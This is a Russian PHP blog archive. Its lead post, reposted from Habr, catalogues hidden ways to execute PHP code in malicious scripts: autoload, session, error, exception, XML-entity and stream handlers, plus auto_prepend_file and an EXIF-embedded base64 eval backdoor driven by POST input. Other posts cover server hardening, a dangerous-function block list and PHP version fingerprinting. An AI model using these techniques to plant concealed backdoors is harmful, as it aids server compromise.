Показаны сообщения с ярлыком php. Показать все сообщения
Показаны сообщения с ярлыком php. Показать все сообщения

суббота, 22 марта 2014 г.

Продвинутые методы неявного вызова php кода, использующиеся во вредоносных скриптах

В качестве примера вредоносного кода снова будем использовать вызов
echo 'Test'

Поскольку цель статьи показать различные подходы и механизмы скрытого выполнения кода, то для простоты функция, которая выполняет наш «вредоносный код» будет объявлена рядом с вызываемым ее неявно кодом. В реальной жизни вредоносный код и его вызов находятся далеко друг от друга, как минимум в разных php скриптах, но чаще код подгружается из базы данных, мета-данных изображений, с другого сервера, после чего выполняется функцией eval, assert, preg_replace и им подобными.



Вариант №1: использование механизма autoload.

Вредоносный код вызывается в autoload обработчике при создании несуществующего класса.

<?php
function __autoload($classname) {
  echo 'Test';
}

//...
new myEvilClass();


Вариант №2: использование еще одного механизма autoload в версии 5.3 и выше

<?php
// php >= 5.3.0

class EvilClass {
    static public function evil($name) {
        echo 'Test';
    }
}

// ...

spl_autoload_register(__NAMESPACE__ .'\EvilClass::evil'); 

// ...

new Malware; 


Вариант №3: использование обработчика сессии.

В момент создания сессии будет вызвана зарегистрированная функция.

<?php
function just_do_it() {
  echo 'Test';
}

// ...

$f = function() {};
session_set_save_handler("just_do_it", $f, $f, $f, $f, $f);
@session_start();



Вариант №4: использование итератора.

Для разнообразия не будем явно объявлять функцию. В приведенном ниже варианте код функции можно взять из любого хранилища в
виде строки и создать функцию в рантайме.

<?php
$f = create_function('', "echo 'Test';");

// ...

$it = new ArrayIterator(array(''));
iterator_apply($it, $f, array($it));


Вариант №5: вызов через обработчик исключений.

В этом врианте код для вызова может быть передан в качестве текста исключения.

<?php
function exception_handler($e) {
  preg_replace_callback('||', create_function('', $e->getMessage()), ''); 
}

// ...

set_exception_handler('exception_handler');

// ...

throw new Exception('echo "Test";');


Вариант №6: использование обработчика ошибок.

Подход подобен №5, но код неявно вызывается методами trigger_error() или user_error(). Сам код передается через текст ошибки. Стоит отметить, что данное решение работает при любых настройках error_reporting.

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
  array_map(create_function('', $errstr), array(''));
}

// ...

set_error_handler('error_handler');
$badcode = 'echo "Test";';

trigger_error($badcode, E_USER_ERROR); // или user_error();


Вариант №7: использование собственного загрузчика сущностей.

Работает начиная с версии 5.4. Вредоносный код может быть в XML тегах или в служебных полях документа.

<?php
// для php >= 5.4

$xml =<<<XML
<!DOCTYPE zlodei PUBLIC "echo 'Test';" "http://example/">
<zlodei>bar</zlodei>
XML;

$dtd =<<<DTD
<!ELEMENT zlodei (#PCDATA)>
DTD;

libxml_set_external_entity_loader(
    function ($public, $system, $context) use($dtd) {
       array_reduce(array(''), create_function('', $public)); 
    }
);

// ...

$dd = new DOMDocument;
$r  = $dd->loadXML($xml);
@$dd->validate();


Вариант №8: создание собственного стрима для неявного вызова кода

Регистрируется обработчик потоков и любыми функциями, поддерживающими работу со стримами, можно выполнить код, который может быть передан в url или записан в поток. Для разнообразия вместо банального eval() код вызывается через create_function().

<?php
class MalwareStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $f = create_function('', $url["host"]);
        $f();

        return true;
    }
}

// ...

stream_wrapper_register("malw", "MalwareStream");

// ...

$fp = fopen('malw://echo "Test";', '');


В отличие от конструкций, перечисленных в предыдущей заметке, обнаружить подобные неявные вызовы кода при статическом анализе достаточно проблематично. Серверным антивирусным сканерам это пока не под силу.


Бонус трек
Какие еще варианты используют хакеры, чтобы загрузить и выполнить вредоносный код?

Во-первых, использование директив php_auto_append / php_auto_prepend в .htaccess файле или php.ini. Например,

php_value auto_prepend_file /images/stories/mycode.jpg


будет выполнять код из файла mycode.jpg перед выполнением любого скрипта.

Во-вторых, динамическая загрузка расширений функцией dl(). Для этого должен быть собран .so (*nix) или .dll (windows) модуль. Это достаточно редкий случай, тем не менее и он имеет место быть. Продвинутые хакеры могут разрабатывать и инжектировать модули в апач или nginx.

В-третьих, есть конструкция c обратными кавычками (являющаяся алиасом для shell_exec):

<?php
$a = `ls -la`; 
echo $a;


Она также выполнит системную команду ls -la, если, конечно, shell_exec разрешен в настройках php.

И напоследок пример неявного вызова кода, который загружается из exif заголовка jpeg файла.

<?php
$exif = exif_read_data('/home/website/images/stories/food/evil.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


А jpg файл выглядит примерно так:

yOya^@^PJFIF^@^A^B^@^@d^@d^@^@ya^@?Exif^@^@II*^@
^H^@^@^@^B^@^O^A^B^@^F^@^@^@&^@^@^@^P^A^B^@m^@^@^@,^@^@^@^@^@^@^@/.*/e^
@ eval ( base64_decode("aWYgKGl zc2V0KCRfUE9TVFsie noxIl0pKSB7ZXZhbChzd
HJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
@yi^@^QDucky^@^A^@^D^@^@^@<^@^@yi^@^NAdobe^...


Из поля Make берется /.*/e, из поля Model — @ eval(base64_decode(...)) и выполняется через preg_replace() из-за модификатора «e».


http://habrahabr.ru/post/215817/

воскресенье, 26 января 2014 г.

Почему PHP скрипты не работают в фоновом режиме консоли

Причиной тому является определенное поведение PHP-интерпретатора когда он теряет связь с запустившим его клиентом, а в данном случае — с вводом командной строки. Если изучить PHP-документацию по работе с соединениями, то оттуда можно узнать что таким поведением можно управлять при помощи директивы конфигурации или же функции вызываемой непосредственно в самом PHP-скрипте — ignore_user_abort. Однако эта функция не всегда помогает.

Итак, решение очень простое — нужно дать PHP-скрипту то, что ему нужно — поток ввода, который он будет считать клиентом и не будет завершать свою работу:
$ php -q script.php < /dev/null > script.log &
Либо воспользоваться утилитой nohup
nohup php -q script.php > script.log 2>&1 &
Еще один альтернативный способ из wikipedia с использованием программы screen:
 $ screen -A -m -d -S somename ./somescript.sh & 

http://www.php.net/manual/ru/features.connection-handling.php

вторник, 14 января 2014 г.

PHP 5.3 cookie and request_order

The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST. The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does. Your distribution's php.ini may exclude cookies by default, so beware.

суббота, 28 декабря 2013 г.

время генерации страницы посредством PHP

вставить первую функцию в начало исполняемого кода, а вторую – в его конец. Результат получаем примерно такого вида: “Страница сгенерирована за 0.244 секунд”.

function gen_timer_start() {
 global $timer_start_time;
 $start_time = microtime();
 $start_array = explode(" ",$start_time);
 $timer_start_time = $start_array[1] + $start_array[0];
 return $timer_start_time;}function gen_timer_start() {
 global $timer_start_time;
 $start_time = microtime();
 $start_array = explode(" ",$start_time);
 $timer_start_time = $start_array[1] + $start_array[0];
 return $timer_start_time;}
function gen_timer_stop() {
 global $timer_start_time;
 $end_time = microtime();
 $end_array = explode(" ",$end_time);
 $timer_stop_time = $end_array[1] + $end_array[0];
 $time = $timer_stop_time - $timer_start_time;
 $time = substr($time,0,5);
 echo "Страница сгенерирована за $time секунд";}

пятница, 9 августа 2013 г.

PHP open_basedir and Curl

CURLOPT_FOLLOWLOCATION cannot be activated when safe_mode is enabled or 
an open_basedir is set in /home/username/public_html/sts/index.php on 
line 170

decision:

set open_basedir = none in php.ini
 or
disable open_basedir in httpd.conf

php_admin_value open_basedir none
 

суббота, 20 июля 2013 г.

Sign your hotlinks - Watermark on the Fly in PHP

Yon need PHP 4+ and GD 2.0+ on your server
<?php  

header('content-type: image/jpeg');  

$watermark = imagecreatefrompng('watermark.png');  

$watermark_width = imagesx($watermark);  

$watermark_height = imagesy($watermark);  

$image = imagecreatetruecolor($watermark_width, $watermark_height);  

$image = imagecreatefromjpeg($_GET['src']);  

$size = getimagesize($_GET['src']);  

$dest_x = $size[0] - $watermark_width - 5;  

$dest_y = $size[1] - $watermark_height - 5;  

imagecopymerge($image, $watermark, $dest_x, $dest_y, 0, 0, $watermark_width, $watermark_height, 100);  

imagejpeg($image);  

imagedestroy($image);  

imagedestroy($watermark);  

?>

“RewriteCond $1 ^.*.(jpg|jpeg|gif|png|bmp)$”

Or with no rewritecond the rewriterule should be:

“RewriteRule ^.*.(jpg|jpeg|gif|png|bmp)$ /scripts/watermark.php?src=%{REQUEST_URI} [L]”

суббота, 13 июля 2013 г.

Опасные функции PHP

Рекомендуется отключить следующие PHP функции: 

exec, system, passthru, readfile, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, parse_ini_file, show_source, curl_exec.

так как именно они чаще всего применяются во вредоносных скриптах.

Для того чтобы это сделать, необходимо привести раздел disable_functions файла php.ini к следующему виду:
 

disable_functions = "exec,system,passthru,readfile,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,dl,popen,parse_ini_file,show_source,curl_exec,pcntl_exec,expect_popen"

service php-fpm restart 

Если ваши сайты (Joomla) используют ini файлы, то parse_ini_file лучше не отключать.

Также рекомендуется отключить чтение и использование удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen off и allow_url_include off в файле php.ini

Описание указанных функций:

exec — вызов внешней программы
ini_get — получает значение опции конфигурации
ini_get_all — получает все опции конфигурации
parse_ini_file — разбирает файл конфигурации
passthru — вызов внешней программы и вывод «сырых» результата на дисплей
php_uname — возвращает информацию об ОС, на которой php был построен
popen — открывает файловый указатель процесса
proc_open — выполняет команду и открывает файловый указатель для ввода/вывода
shell_exec — выполняет команду в оболочке/shell и возвращает полный вывод в виде строки
show_source — вывод исходного текста текущей веб страницы
system — вызов внешней программы и вывод результата на дисплей
Также стоит подумать над отключением таких функций:
diskfreespace — псевдоним функции disk_free_space
disk_free_space — получить размер доступного пространства в каталоге
disk_total_space — возвращает общий размер диска
eval — вычисляет строку, заданную в code_str, как код PHP (eval ( string code_str))
fileperms — получить информацию о правах на файл
fopen — открывает файл или URL
opendir — возвращает дескриптор каталога для последующего использования с функциями closedir(), readdir() и rewinddir()
phpinfo — выводит всю информацию об php, Ос
phpversion — выводит версию php
posix_getpwuid — возвращает информацию о пользователе по его user id
posix_getgrgid — возвращает информацию о группе по её group id
posix_uname — получает системное имя, возвращает хэш строк с информацией о системе

среда, 3 июля 2013 г.

Проверка модулей php

1. Use phpinfo() and scroll down to “Loaded Modules”

2. Run this script.

 <?php
$extension = ‘mysql‘;//any module, curl etc
if (extension_loaded(“$extension”)) {
echo “$extension”.’ is loaded’;
} else {
echo “$extension”.’ was not found’;
};
?>

3. php -m will show all loaded modules

вторник, 2 июля 2013 г.

Информация о сервере

Есть немаловажный момент связанный с безопасностью сервера, а из чего следовательно и расположенных на нём сайтов… Касается он информации отдаваемой в заголовках web-сервера Apache. Рассмотрим самые интересные, а зачастую и исчерпывающе-информативные заголовки: Server и X-Powered-By.
Заголовок Server может поведать нам о сервере, операционной системе, версии PHP и даже некоторых модулях. Думаю, что пагубность такой информации объяснять не нужно, ибо совершенного софта не бывает.
Заголовок X-Powered-By может наделить нас знанием о версии PHP например. Опять нам это ненужно.

В реальности мы видим это таким:
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny9 with 
Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g     X-Powered-By: PHP/5.2.6
Есть несколько путей решения проблемы:
  • пересборка Apache с изменённым параметром AP_SERVER_BASEPRODUCT в файле include/ap_release.h
  • изменение директивы SecServerSignature при установленном mod_security
  • правка заголовков при помощи mod_headers
  • редактирование файлов конфигурации Apache и PHP

Мы остановимся на самом простом и универсальном варианте – редактирование файлов конфигурации Apache и PHP.
Для изменения заголовка Server, следует указать Apache, что именно там стоит выводить. Откроем на редактирование файл /etc/apache2/conf.d/security и найдём следующую строку:
ServerTokens Full
В комментариях написаны различные варианты значений, на мой взгляд достаточно указать следующее:
ServerTokens Prod
В таком случае заголовок Server будет отображать только лишь название сервера – Apache.
Рекомендуется так же установить следующие директивы:
ServerSignature Off     
TraceEnable Off
ServerSignature отвечает за отображение информации о сервере при ошибках, а TraceEnable за отключение режима TRACE, при котором возможны XSS (Cross-Site Scripting) атаки.

Чтобы избавиться от заголовка X-Powered-By, следует открыть на редактирование файл php.ini и найти в нём следующую строку:
expose_php = On
Соответственно заменить её нужно на:
expose_php = Off
После всех правок нужно перезагрузить сервер:
sudo /etc/init.d/apache2 restart
Ну вот, теперь мы стали на шаг ближе к безопасному серверу.

Если вы хотите добавить к ответу сервера какие-либо дополнительные данные, воспользуйтесь возможностями mod_headers, добавив в httpd.conf

Header set MyHeader "Hello"

Теперь в заголовке ответа от сервера вы увидите MyHeader: Hello

Алсо You can make modifications to change the web server identity in two places in the source code. One is in the include file httpd.h in Apache 1 (ap_release.h in Apache 2) where the version macros are defined: #define SERVER_BASEVENDOR "Apache Group" #define SERVER_BASEPRODUCT "Apache" #define SERVER_BASEREVISION "1.3.29" #define SERVER_BASEVERSION SERVER_BASEPRODUCT "/" SERVER_BASEREVISION #define SERVER_PRODUCT SERVER_BASEPRODUCT #define SERVER_REVISION SERVER_BASEREVISION #define SERVER_VERSION SERVER_PRODUCT "/" SERVER_REVISION  

Узнать версию PHP

1. Можно посмотреть на заголовки, которые возвращает Web сервер.
(один из вариантов: http:// uptime.netcraft.com/up/graph?site=www.target.com)
2. Можно сделать такой запрос:
http:// target.com/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
и посмотреть что вернет сервер. Если в конфиграции PHP указана опция expose_php=on, то ты узнаешь версию PHP.
3. Можно посмотреть, какой ответ возвращает сервер при некорректном запросе.
4. По картинке http:// target.com/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42